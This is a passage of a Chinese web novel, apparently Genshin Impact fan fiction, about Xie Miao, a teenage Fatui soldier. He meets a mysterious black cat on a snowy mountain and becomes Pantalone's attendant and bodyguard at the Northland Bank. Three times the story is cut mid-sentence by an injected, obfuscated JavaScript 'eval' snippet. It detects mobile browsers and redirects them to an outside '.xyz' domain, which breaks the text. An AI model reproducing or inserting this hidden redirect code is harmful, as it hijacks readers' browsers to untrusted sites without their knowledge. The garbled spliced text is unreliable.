谢苗脑子糊里糊涂的想着,他不想就这样加入队伍,万一背上的是什么蛊惑人心穷凶极恶的魔物,岂不是会害死同伴? 他想要发出声音提醒周围人,猫却伸出祂软软的爪子搭在谢苗嘴唇上。那是再明显不过的阻止动作。 黑猫俯首,安慰般舔舔他被冻僵的脸颊。像是释放王对臣下的一种接纳新号,心脏解冻,谢苗终于能自如呼吸,遏制不住的大口喘着粗气。 小队长在前面带路,只可惜没能找到狼群一丝一毫的踪迹,昨日发现的狼群营地也早被狼首领摒弃。 扑了个空。 长官脸色不愉:“狼的智商不低,这样快就隐藏行踪逃跑……后患无穷。” “那长官,我们还要继续深入吗?士兵们有些撑不住了……” 长官回首看向身后那群脸色惨白的新兵,倒也没说什么苛责的话。龙息雪山冰冷得出奇,哪怕是训练有素的精锐部队最多也只能在山腰徘徊…… “回去吧。”长官心想,大不了日后多来几次,总能找到那群畜牲的下落。 “下山去营地把东西收整好,准备回军营。” “遵命,长官。” 谢苗进山一趟啥事也没干,黑猫依旧蹲在他背上没动静,没有要下地的意思。谢苗不敢轻举妄动,认命般将祂一起带下山。 愚人众撤离后,林中灌木丛中闪烁着几双幽暗的绿眼睛,黑猫回首,和它们无言对视。 绿眼睛们率先低眉,恭顺臣服地退下。狼群灰白灰黑的毛发在雪山提供了天然的掩护作用,锋利的爪尖勾着山石与冰雪,穿行在古老的山岩间。 回到山脚营地,谢苗驮着黑猫没有引起任何人的注意。他不敢相信这家伙就这样跟着他下了山,还没有其他人看得见。 这就是撞鬼了对吗?真的是撞鬼了对吧? 谢苗一脸冷漠,在心底默默流泪。 伙夫点燃简易炉灶,支上锅子做饭。谢苗去取暖的篝火旁看着同伴们取积雪烧水。 “要不加点罐头煮汤吧?”有人这样提议。 很快得到小队成员全票通过,锅里咕噜咕噜煮着汤,漂浮着切块的蔬果和肉,香气扑鼻。谢苗捧着一碗汤捂热他冻得红萝卜似的手指,心里有一种近乎诡异的平静。 他终于放松了下来。 就算是山鬼索命也无所谓了,至少让他死前吃顿饱饭——这个想法和他以前的执念相比显得十分反常。 肩膀上的肥硕黑猫似乎也因为篝火的温度而松懈,懒懒地趴下来,首尾环绕谢苗的肩颈,像是挂了个真皮围脖似的。 祂在呼吸,起伏的胸膛让谢苗安心许多。甚至把干巴面包片泡软,留了半块进营帐打算分给这不速之客垫垫肚子。 他这一天的精神状态可谓坐过山车班刺激。从抗拒到接纳再到尝试喂养。 不愧是至冬人,神经粗得可以。 黑猫只是嗅了嗅,继续趴在谢苗背上休息。于是他把那半块面包自己吃了,简单洗漱一二就打算钻进睡袋睡大觉。 今晚他不用守夜,同营帐的几个人还在外面烤火说话。谢苗低声道:“我睡觉的时候你也要趴背上吗?” 黑猫听得懂,祂跳到地上。看着谢苗脱下外套,看着他钻进睡袋,然后把自己毛茸茸的身体往他脑袋旁边一放,趴着眯眼。 谢苗睁着眼看帐篷顶,什么话都说不出来。 他发誓他出门没喷猫薄荷香水。 他发誓他没有开外挂,也没有忘记关。 这是为什么啊?真的很诡异好吗?只有自己能看得见的黑猫什么的…… 黑猫趴在他脑袋边呼吸平稳,却没有发怵出猫科动物放松安逸时会有的呼噜呼噜声。谢苗没放在心上,只当是这家伙仍旧在警惕。 他合上眼,本以为应该精神振奋或是提心吊胆睡不着,谁知周公急邀他梦中相会。这厮就这样水灵灵的睡死了过去。 他的同伴们陆陆续续进帐篷休息,低声说话的声音没能吵到他分毫。 “谢苗睡得这么沉?他以前听到名字就会醒的。” “嘘——小声些,他已经很累了。” 同伴们体贴这个小两岁的弟弟,纷纷麻利的结束洗漱,钻进睡袋休息。 谢苗则是做了一个奇妙的梦。 梦里他站在一所破破烂烂的医院里,紧闭的大门外风雪呼啸,门内依靠可怜的壁炉炉火取暖。身穿白大褂的医护们面色疲倦,给挤在狭窄病房里的,受伤的平民及战士换药。 他如幽灵般穿过这些人,走上记忆中那咯吱咯吱随时可能散架的楼梯,拐进二楼的一间独立病房。 手还未碰到把手,门便自己敞开,像是用钥匙打开心扉般露出后面柔软而脆弱的内里。 那是他自身最大的秘密。 厚重的被子压在那可怜的小男孩身上,他听见男孩微弱而嘶哑的呼救,脚下生了根一般动弹不得。那呼救声愈发沙哑,直到最后微不可察,骤然融散在冷空气中。 他站在门口注视着一个小生命无声无息的【死亡】,什么想法都没有。 他甚至听得见楼下壁炉柴火燃烧时的哔啵,听得见针管推进药液流入血管的抽气,听得见医生们的低语。 但是没有人听到楼上一个男孩临死前的呼救。尽管大家是因为怜爱他才给他最好的单人病房。 只有一个幽灵看见了。但是幽灵什么也做不到。 他看见二楼病房的窗外盘踞着阴影,有什么在敲打着窗户。那阴影扒拉开栓锁,费劲的推开半扇窗,从外挤进来先是风雪,然后是一颗硕大的黑色猫猫头。 黝黑无光的竖瞳,平静的注视着被沉重爱意和被子压住不得动弹的孩子。祂眨了眨眼睛,突然看向门外的他。 那目光隔着遥远的时间与空间的距离,笔直的投射在他身上,属于非人之物的凝视让他脊背生寒。 一时间天地倒转,眩晕和失重感袭来叫他忍不住扶额,浑身使不上劲力气——原来他已经躺在了床上,厚重被子压得他喘不过气来。 好冷。这种仿佛能够冻结灵魂的低温如蛛网将他牢牢裹住,他再一次体验到当年濒死的寒意。 寒霜似乎永远和死亡绑定。 谢苗一面费劲折腾,挣扎着起身,一面想着这个诡异梦境为何出现。 只是为了让他再一次品尝死亡的味道吗? 和八年前不同的是,梦里的黑猫跳上了他的被子,却没有预想中那般增添重量。 祂是轻飘飘的,就像窗外鹅毛般的雪花。 猫舔了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679253|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舔他的脸颊,粉红的舌头带着倒刺。 祂是怜爱的,祂是温柔的。 【谢苗因此而死,谢苗因此而活。】 【你是雪的孩子,我承认你的存在。】 沉稳的男音和柔和的女音同时在他脑中与耳畔低语,重叠着的回声带着莫名的祝福,涤荡了裹挟他心脏与身躯的冰冷。 就像八年前突兀的获得力量挣扎着呼救那样,他终于意识到了自己这条命并非是轻贱的稻草,而是被某种存在呵护过,期盼过诞生的。 谢苗猛的睁开眼,漆黑的夜晚只有风在呼啸。他扭过头去,看见了黑猫起伏的胸膛,看见了从帐篷缝隙吹进来的雪花。 他再也忍不住,抬手将黑猫一把捞起揣怀里,脸埋进猫猫柔软蓬松的胸脯毛中,深呼吸一口气。 鼻腔里充斥着冰雪的冷意,但是对他来说再也不会感到刺痛,只有沁凉。 猫是沉稳的,猫是博爱的。祂任由这个人类的孩子蹭胸脯毛,感受到人类情绪的平复后才钻出怀抱,重新回到原来的地方趴下。 祂在谢苗的注视下甩了甩尾巴,像是在说:我守着你,睡吧。 谢苗终于沉沉的睡去,这一次没有做梦。只是醒来后发现帐篷外的世界变成素白,雪国漫长的冬季就这样毫无预兆的提前到来了。 新兵们陆陆续续都起来了,捡柴的捡柴,做饭的做饭,洗漱的洗漱。当然免不了交头接耳的闲聊,反正在营地里不违反军纪的事长官都当没看见。 “按理说还有一个多月才入冬,怎么一晚上就下了这样大的雪?” “刚刚有只小队去林子里踩了点,雪已经没过小腿了。” “天啊,这难道是女皇陛下威能的显现吗?” “不知道,回城里可能会有些消息吧……我们也该回新兵营了。” 谢苗当然知道自己快要离开了,只是……他看向蹲在脚边的黑猫,有些疑惑祂为什么不爬到背上来。 “你要和我一起走吗……” “谢苗!你在哪抓到的猫?好肥一只,看看这油光水滑的……”一个新兵打了碗热汤回来,瞧见他脚边的猫,连连称奇,“好标志的脸,看坐姿是个小姑娘吧?让我瞧瞧……” 他说着要来提猫的尾巴,谢苗连忙阻止顺便转移话题:“好了好了,她是自己跑来的,等会就会离开。今天厨师做的什么?好香。” “土豆汤,你最喜欢的。快去吃吧,不然他们可不会留给你。” “谢谢,我现在就去。”谢苗弯腰抱起黑猫,由于猫的体型比较大,他不得不托着两只后爪,尝试用抱婴儿的方式去抱猫。不过黑猫显然不喜欢这样,爪子扒拉两下又爬上他的后背。 谢苗边走边低声道:“你怎么又能被看见了呢?难道说爬到背上就不会被看见?”那也不对啊…… “你是雪国妖精吗?” 猫不会说话,所有猫没有回答。 猫只是在谢苗排队打饭的时候抬爪拒绝了一张又一张凑过来的脸,摆明了不想陪玩。 祂也拒绝投喂,无论是谢苗慷慨的分出半碗土豆汤,还是新兵长官递来的牛奶餐包和鱼子酱……祂都不吃。 谢苗只能找借口说这是有主的猫,等会送回家去有主人喂饭。围观尝试投喂的士兵们才依依不舍离开。 有人不死心:“你怎么知道她是有主人的?这荒郊野岭又没有几户人家,她身上也没有能证明身份的项圈。” 谢苗只是抱起对他有所偏爱的黑猫,在众人的围观下冷静的抬手摸上猫的脖子,捋一捋厚实的毛发,将毛发下掩藏的东西露出来重见天日。 那是一条黑曜石护身符。 小鱼形状的。 23. 至冬的蛇不冬眠 那条护身符一露出来胜过谢苗千万遍重申。 有人嘀咕着:“太胖了,胖到项链勒脖子都没人看得见……” 黑猫也不恼,舔舔胸脯和后脊的毛发然后回到谢苗背上趴着。 谢苗是在昨晚抱着猫的时候发现这条护身符的,知晓上面刻了文字,只是看不懂,干脆放弃多想。 黑猫来历成谜,但绝非凡物。谢苗并不担心祂的安危,只是预感到分别,心底有一些小小的不舍。 没有什么可不舍的。 黑猫再次舔舔他的脸颊,在可以窥见云层后天光的上午,踩着厚实的的积雪消失于龙息雪山山脚的密林中。 祂来去没有带走任何物品,好像就只是为了给他加个祝福抵御寒冷。 谢苗抬头看那被云雾风雪遮挡的雪山。诡异的冰冷,奇怪的黑猫,无人踏足的山腰…… 也许他还会回来,也许他不会回来。 谁也说不定。 人类军队就这样撤离了雪山领域,经历过短暂伤痛的林中野兽也恢复了与往常无二的生活。 今年的冬天来得太早,山顶的风换了个方向吹拂,迎面而来的冻雨夹杂着风雪,几个日夜后,林梢间的雾凇锋利如同刀刃一般。万物都被冰雪覆盖,此地的时间仿佛也被冻结。 从山腰往上,大雾弥漫。越往上走,能看见的生物越发稀少。 黑猫踩着雪,一步一脚印。祂蓬松的毛发上挂着稀碎的冰和松散的雪。长长的尾巴垂下,毛发被风揉得杂乱无章。 祂穿过遮挡雪山真容的云海,行过尘世生命的禁区,越过大地狰狞扭曲的伤疤,最终来到了雪山之心,极寒之地。 这里的雪不是雪,是厚实蓬松的羽毛。这里的风不是风,是久远幽古之物的吐息。这里的冰不是冰,是睡梦中流出来的泪凝成的结晶。 纯白之羽轻颤,看来那层层叠叠羽翼中心被包裹着的生物睡得极不安稳。黑猫走近了些奔跑起来,呲溜一下如小蛇般从羽翼下方钻进去,收起尾巴,和那颗孤寂的心紧紧依偎。 得到安抚,山间呼啸的风骤然停歇。 谢苗回到军营,把剩下的大半个月训练时间当做最后的休息。 上头对他们这批新兵秉持着“实践出真知*①”的朴素理念,三个月新兵训练时间一到,执行官大人们的副手、副官,或者是代理人就毫不客气的来抓壮丁(劳工)。 伊尼科夫是负责训练这批新兵的长官之一,对新兵的了解仅次于教官。谢苗也不知道他都对上头说了自己些什么,最后居然是【富人】那边的人把他提溜走的。 谢苗震惊,他还以为自己怎么也该是被划分到武斗派出外勤的。执行官【富人】那一支主管的是北国银行和财政金融体系,明摆着主管至冬国内部问题。他的人要武斗派人才干什么? 谢苗抱着自己的手提箱跟在【富人】的部下身后,亦步亦趋,努力装乖留个好印象以防这人不晓得他真实年纪,知道后会要求退货。 “长官……我该如何称呼你?” “我是格洛德克②*,【富人】的副手。这次选中你,是看中了你的能力,可以为【富人】排忧解难。” 我的能力……? 谢苗:“好的,格洛德克先生。” 也许是他的乖顺和沉默让格洛德克满意,又或许是因为他成为了板上钉钉的肥鸭,飞不出去。对方透露出一些对谢苗有用的信息。 “【富人】曾向【仆人】讨要过你,夸赞你的任务完成得漂亮而出色。谁知道你一声不响来了这里,和一群什么都不懂的新兵白白荒废三个月的时间。这是对你自身价值的贬损,谢苗·雪奈茨维奇,你明白吗?” “明白,感谢您的教诲。” 谢苗低眉顺眼,他完全错误的认为自己来到新兵营就能当最普通的愚人众士兵,从底层爬起,到了年纪就能凭借军功混上中尉的职称。谁知道库嘉维娜在位时期派他执行多次暗杀清剿任务,到底还是让其他执行官看到了。 年纪小意味着可以后期重塑三观,改变效忠对象。这本是士兵的劣势,却成了培养杀手的优势。 格洛德克不再多言,带他坐上马车离开郊外,回到了阔别三个月的至冬主城。 马车踢踢踏踏,最终停在了北国银行的大门外。格洛德克领着他下车,将手提箱交由门卫暂时保管,却没有要求收走他的神之眼和邪眼。 为了示好,谢苗甚至主动提出可以解下神之眼和邪眼。但是格洛德克阻止了他:“不必。管制刀具和枪械不得入内是银行的明文规定,神之眼和邪眼不在其列。” 谢苗跟着他继续往里走,压低声音轻声询问:“但是使用者可以瞬间施展力量进行破坏性行为,这也没问题吗?” 在谢苗的认知中,神之眼和邪眼本身就属于武器的一种,甚至比寻常的刀具枪械更可怕。 但是那位【富人】大人…… “神之眼也是财富。” 格洛德克这样说后不再多语,很快谢苗被带到一扇厚重核桃木木门前,低头听旁边的人轻叩房门。 脚下的地毯厚实,花纹精美,价格不菲。他一面思考就这一小块地毯弄脏了要赔付多少摩拉,一面紧紧跟随格洛德克走进门后的世界。 他嗅到了屋内如山脚下松林叶梢的清雪气息,还有一股说不出的木制香调。屋内没有壁炉与明火,但自地板下传来的热度又做不了假。 门后温暖如春,门外寒意萧条。一前一后仿佛两个世界。 这时候他才意识到,【富人】为何是【富人】,北国银行创始人,凭借头脑与对金钱的理解站在了世俗力量的顶点。财富将他拥上无冕的王座,逐利而来的人们向他俯首。 谢苗自己甚至不敢抬头。 紧贴裤缝的手指忍不住轻微抠抠布料,他没能直面感受过神的威能,对于非人之物的理解也并不深刻,但他曾切实体会过金钱的力量。 神权之下,金钱至上。 “……潘塔罗涅老爷,人我已经带过来了。” “辛苦你走这一趟了,格洛德克。这是一份新的企划书,需要你替我实地考察一二。” “是。” 格洛德克取走了企划书便离开,留下谢苗站在原地尴尬得一个劲抠裤腿。 他听见钢笔摩挲纸张的痕迹,听见金属饰品摩擦毛皮的触感,听见高位者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679254|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清浅的呼吸。带着花香味的墨水丝丝缕缕,清清浅浅……哪怕没能得到允许抬头亲眼看,但屋内的一切动静瞒不过他,尽收眼底。 这种掌控的感觉让他放松,手指抚平裤子的皱痕,心也随之安定。 青年*③的声音响起:“别那么紧张,抬起头来,让我看看。” 谢苗看见了一个有着卷曲黑发的青年男人,带着银白框垂链眼镜。脸上保持着完美的笑容,眯着眼,看不清瞳色与眼底的情绪。 气质儒雅,声音也十分贴脸,有种难以言喻的……斯文败类,至冬寡头既视感。 “你十四岁,对吗?” “是的,长官。” 青年笑了笑:“叫我潘塔罗涅老爷就好,这里不是军队,我们可以用更亲切的称呼。对吧,谢缪尔?” 知道他这个小名的只有当年战地医院医护以及壁炉之家交好的孩子们。 “是的,潘塔罗涅老爷。”谢苗装乖,他知道上位者喜欢什么样的孩子,他知道什么样的表态不容易遭到排斥。 潘塔罗涅没有起身,只是换了个更舒服的姿势继续坐着:“我记得你,两年前我曾委托前代【仆人】帮我处理一些小麻烦,而她推出了你。真是了不起的年轻人,办事漂亮,收尾也叫人满意。可惜后来壁炉之家生了变故,你也选择进入军队体系……” 谢苗没搭话。感觉说什么都会跳进对方早就挖好的坑里。 “不过现在你已经来到了我的身边,我很期待你的选择。” 不选择你我就要死翘翘对吗? 谢苗大概猜到富人为什么一定要他了,毕竟自己当初杀死了不少富人的竞争者——虽然是已经失败的竞争者,但这种把柄要么牢牢把控在手里,要么除掉。 谢苗压抑着深呼吸一口气,单膝跪地,俯首道:“愿为您效犬马之劳,潘塔罗涅老爷。” 事情大概顺利起来了。 谢苗留在了富人身边,他的工作并非设想中那样作为潜伏的暗杀者出外勤,而是待在潘塔罗涅身边,做一个不起眼的小跟班。端茶送水是表面工作,实际上是在贴身保护他的安全。 谢苗不太明白,贴身保护的位置应该留给经历过考验的亲信才对,而不是他这一个怎么看都需要再磨砺的新人。 谢苗不知道,他已经在执行官内部获得了“无需考验,可以信任”的莫大尊荣。 他是牺牲士兵的遗孤,通过了【仆人】的考验,承受过【博士】的实验(具体实验是什么很少有人知道,富人属于大部分人),在【队长】亲信执掌的新兵营得到了稳重的评估。于阿蕾奇诺弑母之夜获得女皇的瞥视——他的意志为神明所允,没人会追究他那晚都想了些什么大逆不道的事。 于其他执行官而言,接纳谢苗·雪奈茨维奇是一种政治正确。 谢苗以为他一直蜷缩于众人身后的阴影中,殊不知至冬的富商政要正准备拿他战争遗孤的身份大做文章。而潘塔罗涅作为执行官抢先一步,将人带到身边,标榜“慈善”与“博爱”。 大概公众人物总是希望自己的形象正面一些好麻痹猎物的感知,连自己何时被切下一块肉来烹饪为盘中餐都无知无觉。 24. 步入蛇巢的阴湿 谢苗有了一份堪称体面的工作。 至少在银行其他工作人员看来很体面。这个十四岁男孩实在是太有运道了,因为战乱失去了父母,却因此拥有了留在富人老爷身边做事的资格。 每天上班给富人老爷取晨报,沏茶或者泡咖啡,清理毙掉的商业企划案,打理大衣,填补办公室的纸张墨水。熟悉富人老爷的行程安排,出面替老爷拒绝不合理的求见。如果老爷要外出赴约,还可以全程陪同去见见世面。 上层社会,名流贵族,觥筹交错间浮光迷人眼。站在聚光灯下,在舞台的正中心被无数双眼睛狂热的注视——多么美妙啊。 谢苗:“不。那样很难受。” 面对银行职员的向往与赞美,谢苗冷静的反驳:“一举一动都被无限放大和揣测,是件很恐怖的事。”尤其对于他这种从小就被当做杀手培养的人来说,无人在意的暗处更自在。 银行职员,瑟琳娜小姐像是被戳破的气球般弯腰驼背,把盒中午餐分了一半给这个未成年男孩,他让她想起家中的弟弟:“好吧好吧,我到底是没有切身感受过的。” 他们在午餐时间聚在一起聊天,分享生活吐槽上司。谢苗和瑟琳娜的熟识来源于他吃不饱,找分发盒饭的负责人申请多加午饭时,遇到了吃不完午饭被负责人教训的瑟琳娜。 彼时的至冬还未成为日后那般强盛的国家,因为地缘因素,至冬的经济落后于其他国家。北国银行和富人名下的产业又处于上升期,午餐负责人还没有转变思想,仍旧认为食物是匮乏的,珍贵的,每一份都要好好吃干净。 瑟琳娜的胃做过切除手术,一直吃不下太多食物。见谢苗因为长身体吃不饱,很乐意在开饭前把自己的那份分一大半给他。 总好过浪费不是吗? 谢苗毫不介意,他每天最大的幸福就是用餐。北国银行提供的员工餐相当美味且实惠,他很喜欢。 吃完午饭擦擦嘴,谢苗站在通风口让自己身上的食物气息散去,确认不会带进来让富人老爷皱眉的油腻后,这才轻轻敲门溜进去。 “今天的午餐吃的什么?”潘塔罗涅没有抬头,仍旧在批阅部下送来的文件与情报。声音和善的询问,似乎是在关心小帮手的生活。 “肉饼,杂拌汤,酵母饼。”谢苗想了想,补充一句,“还有荞麦粥。” “那吃饱没有呢?”潘塔罗涅还记得这小子第一天上工站岗,下午肚子饿得咕咕叫闹出的糗事。 幸而当时的办公室只有他们两个人,不然富人老爷苛刻下属的消息就要不胫而走——潘塔罗涅那些同僚会很乐意见到这样的情况。 谢苗从来没被饿得受不了过,壁炉之家时期餐厅食物管够,外出执行任务也会提供充足任务资金用来购买食物,新兵营更不必说,一群半大小子吃得比熊还多,长官根本不会克扣食物。也就是来金钱流通的北国银行上班,第一天就因为限额的员工午餐不得不饿肚子。 潘塔罗涅被迫正视阿蕾奇诺送来的提醒:让他吃饱。 本来以为就是一位掌权者对孩子的关心,谁知道…… 思绪回到现在,潘塔罗涅听见这小子停顿两息后回答:“不饿了。” 不是吃饱了,是不饿了。 这是在委婉的表示他还没有吃饱,对吗? 潘塔罗涅笑了笑,他知道贫穷的滋味是什么,是饥饿。少年人无论男女都在长身体,饿得快吃得多是常态,没什么好说的。 富人老爷合上笔盖,咔哒一声。光看外形很难想象这只钢笔内部机械盘镶嵌了十二颗红宝石。大概有钱人是这样的…… 谢苗听见笔盖合上的声音,见人起身,忙去拿挂在架子上的外套,踮着脚给大老爷坡上——他是一米六有寻常女性那么高了,但是挡不住潘塔罗涅看着瘦实则壮啊。 “中午有个宴会,陪我去看看都有什么花样吧。” 谢苗见状,当着潘塔罗涅的面去办公室角落拖出他的那只手提箱,翻出两把燧发枪塞到外套里面然后跳进上马车。 和危险的武器作伴没能影响潘塔罗涅老爷半分,大老爷悠然自得,仿佛真的只是带助手去吃一顿饭,而不是清理暗中窥伺的老鼠。 富人自然不止有格洛德克一个副手,他旗下的情报网遍布各国商会,当然知晓一些暗地里筹划的秘密——尤其是针对他的。 富人带来的人不必遭受贴身盘查,谢苗又因为年纪小脸嫩更是被轻飘飘放过。揣着两把武器进入宴会场地后,谢苗听见上方传来老爷若有若无的一声嗤笑。 他当做没听见,垂下眼,视线里只有富人手上那几只宝石戒指。 这不是富人第一次带他参加宴会或者饭席,但谢苗还是不喜欢衣物摩擦间的脂粉与香水气息。 他皱皱鼻子,不是讨厌女士身上的甘甜或者清香气味。女孩子花一般的绽放在舞会中央,如此美丽谁会讨厌?只是那并非单纯的美丽,裙摆下大腿上绑着武器,衣物上的线头随时可能抽出锋利的丝线,朱唇印上酒杯,留下淬毒的芳香…… 更不必说女人们裙摆交叠后遮掩的敌意,男人握着女人的腰在舞池中旋转摇摆,把憎恶与杀意掩藏得很好。一边靠近正在举杯同人聊天的潘塔罗涅,一边抬手摸出武器。 或是手枪,或是短刀,或是匕首,又或者是元素药剂……花样挺多的。 事情没闹大前,谢苗优先选择用技巧悄无声息的解决这些老爷看腻的花样。浸染迷药的手帕从背后突袭蒙住口鼻;麻药扎上裸露的肌肤或者后颈;又或者直接夺走他们的武器反客为主。 神之眼冻凝喷涌而出的血液,轻而易举就能清理掉身上的痕迹。做完这些后,谢苗施施然起身离去,回到潘塔罗涅身边,端起自己吃到一半的小蛋糕继续享用。 你说他离开的这段时间潘塔罗涅会不会有事? 别担心,暗中保护富人老爷的不止他一个。 他回来后,富人老爷甚至会笑眯眯的询问他:“玩得高兴吗,谢缪尔?” 与富人交好的大商人们则是宽和的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679255|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望而来,谢苗不动声色的咽下奶油,点点头:“很开心,大家都很和善,刚刚我还遇见好心的姐姐说这边有好吃的蛋糕。” 大商人们发出低沉而愉悦的轻笑,带着财富的气息。 “这边还有好几种点心,喜欢吃就多吃些,也是对厨子手艺的认可。” 谢苗用在场人都看得到的动作“小心翼翼”瞅了潘塔罗涅一眼,没有被反对后“高高兴兴”点头。 潘塔罗涅对他这些小把戏采取放任态度,毕竟这是个聪明的孩子,知道什么时候该干什么,其余时间从不多言。 这些于谢苗来说只是小插曲,吃完蛋糕(这个蛋糕放了太多糖,超级无敌甜,一两块就足够)拿了一份培根熏肉三明治啃,扫视会场,把一切可疑目标控制在远离潘塔罗涅老爷的地方。 至于那些想要靠近潘塔罗涅毛遂自荐的资本家……富人老爷时间宝贵,正在和至冬商会会长等人交谈,闲杂人等无事不得干扰——这是随口就能用的例子。 今天也是平静的一天。 没有闹到台前来的事都算不上事,谢苗护送潘塔罗涅坐上马车离开时听见会场负责人找到商会会长附耳低语了什么。 “……死者……小少爷……” “处理干净。”会长只是这样吩咐,面上和蔼笑容不变。 都是一群吃人的人。 谢苗如此评价。 他也是。 潘塔罗涅无需为这些事分出注意力,他单手撑着额头,银边链子轻轻摇,随口问了谢苗几句觉得宴会上什么东西好吃。 谢苗不挑食,觉得能吃的食物味道都还不错。 下午没他什么事,谢苗把老爷看过的报纸收拾出去准备扔掉,无意间瞥见几行加粗加黑的标题。 [寒潮提前到来,底层平民食不果腹] [借贷认准北国银行] [慈善晚宴,名流贵族拍卖物品自助孤儿院] 谢苗想起那场提前月余落下的雪,想起方才宴会上数不清的无人触碰的食物,想起酒店侧门倾倒的垃圾桶,想起围聚在潘塔罗涅身边的商会成员……他们是要在大规模的借债风波中分得一杯羹。 你以为谢苗看清这些后会因为愤怒而用力攥紧报纸留下痕迹吗? 并不。 他是优秀的特工,情绪外露是大忌。旁人看到的,只是他想让旁人看见的。包括他的乖巧温顺,包括他的可靠可控。 他走下楼去,楼梯与地板被擦拭得光鉴可人,一楼大厅是排队等待取钱的百姓。一道道手续通过,一袋袋摩拉取走,一张张如释重负的脸在灯下露出回光返照的光亮。 是的,回光返照。 寒潮总会有过去的那一日,但土地或是商铺的产出无法在规定时间内让资金回流,逾期不还是板上钉钉。北国银行发债利息高得可怕,利滚利只会让欠债人背负更沉重的担子,直到榨干最后一滴价值。 北国银行周转的是血泪与哀嚎*①,时至今日,他终于明白了其意义。 25. 乌鸦与蛇与幼熊 今年的冬天太漫长了。 谢苗是幸运的,他陪在潘塔罗涅老爷身边享受至冬最顶级的供暖设施,纸张与墨水带着好闻的花香,顺滑而厚实的皮草任由他借着打理的名义上下其手。每天供应的午餐都允许他拿走八份独自享用,还有时不时的陪赴宴会加餐……不必面对野外凶残的魔物,潘塔罗涅面对的刺杀在他看来和小孩子的把戏没什么区别,轻轻松松就能解决。 他真的很幸运。 寒冬让土地无法耕种产出作物,冷霜冻凝输水供暖管道。底层群众每天就是煮一餐烂糊糊裹腹。借贷的低产阶级吃的是水煮土豆,一枚摩拉恨不得掰成八瓣花。中产阶级则是祈求愚人众军队能够肃清城外蠢蠢欲动的魔物,好让商队通行无阻运输货物…… 衣衫褴褛与锦衣华服同时存在于一座城,这似乎是各个时代各个时空都无法避免的情况。 他收回眺望窗外街景的目光,悄咪咪看了一眼正在办公的上司。 潘塔罗涅老爷在室内通常穿得比较薄,今天是墨色内衬与西装外套,内衬颈部到胸口的地方装点着六只邪眼模样的银边宝石装饰物,与手套上戒指适配。 为什么不是八只眼睛呢?那样更像是蜘蛛。 不对,阿蕾奇诺大人的象征物才是蜘蛛,撞元素了…… 没人发现他在走神,谢苗例行保养一遍皮草,趁着潘塔罗涅停笔捏眉心的功夫把提神的咖啡端来。 潘塔罗涅老爷被咖啡苦得直皱眉,手边就出现了温热的甜牛奶与模样精美的各色点心。 如果今天不想喝甜牛奶,还有热水随时可以冲泡上好的璃月茶叶。 一开始是没有准备这些的,挡不住谢苗察言观色的本领过于强悍,硬生生叫他在无人提醒的情况下摸清了富人几分口味与秉性——苦了不行甜了不行腻了更不行,当时做不好大老爷不会说什么,只会在心里默默记一笔。等积累到一定程度,结局就是悄无声息的被换掉。 谢苗惜命。 大老爷享用一刻钟的下午茶休憩时光,谢苗则忙着给钢笔灌墨水,检查备用笔出墨情况,把大厅银行经理送来的报表与情报悉数转达,顺便再问问大老爷晚上想吃什么,或者有什么突发奇想的安排。态度相当恭顺、贴心,与脸色的淡然与平静形成意外的反差。 潘塔罗涅老爷其实并不喜欢一味奉承他讨好他的人。但你要不顺着他的心意来,他又不高兴。他不高兴就有人倒霉。 真是难伺候。 谢苗觉得自己这些天活得像个太监。 但瑟琳娜几天后听完他的描述,对他的工作很是向往,这姑娘明显青睐于潘塔罗涅老爷俊逸的皮囊和打造出来的慈善家人设。哪怕不涉及男女私情,光是崇拜与敬仰都让旁听的谢苗鸡皮疙瘩掉一地。 “精致卷曲的黑发,笑眯眯的眼睛,得体干练的服饰,儒雅又温和,手段雷厉风行……多么完美的人啊——” 听见瑟琳娜这样大肆赞美,谢苗忍不住想到潘塔罗涅那用多少发胶也顺不下去的顽固呆毛,似乎不会睁开的眼睛,微笑时好像下一秒就会像蛇那样吐出信子…… 今天他低头扒拉着第六份盒饭,小声道:“快吃午餐吧,背后不要议论执行官大人。隔墙有耳。 瑟琳娜这才收起自己没说完的彩虹屁,恹恹的戳着茴香煮土豆。 她大概是为了近距离瞻仰偶像潘塔罗涅风采才来北国银行应聘当职员的。这家伙出身至冬小贵族家庭(这年代能做胃部切除手术事后恢复良好的家庭可说不上简单),大可以过着其他贵族女性那样开店铺收租放债的“体面”生活,而不是隔三差五被领班训得头也抬不起来——北国银行职员当然也有自己的任务指标啦,完不成就要被训加扣奖金。 